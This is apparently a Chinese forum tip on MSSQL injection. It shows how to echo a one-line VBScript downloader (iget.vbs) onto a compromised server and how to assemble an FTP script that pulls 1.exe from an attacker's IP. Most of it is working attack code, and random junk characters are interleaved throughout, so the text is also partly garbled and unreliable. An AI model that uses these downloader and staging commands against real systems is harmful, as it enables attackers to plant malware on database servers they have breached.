mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
, n& [2 o& I' q9 a1.iget.vbs一次写入
: {# _+ N+ u  u9 ?, x, i在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
; e. }! W7 S" C4 w5 B% J- V: r
2 c; N9 q+ u2 @( v4 KSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
; b( U9 h  L8 r
0 s8 q; Q& d, o$ l这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs

+ \! L- [. [. o5 S
2.bat调用ftp脚本的写法(by envymask)
1 O# P3 W0 @5 q+ R# U
echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
& {, \3 R/ M7 jecho s&gt;4.vbs
+ k$ c7 i) @. z' q2 \5 q' Eecho binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
echo bay&gt;7.vbs
: G) `1 B. `8 j+ P
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>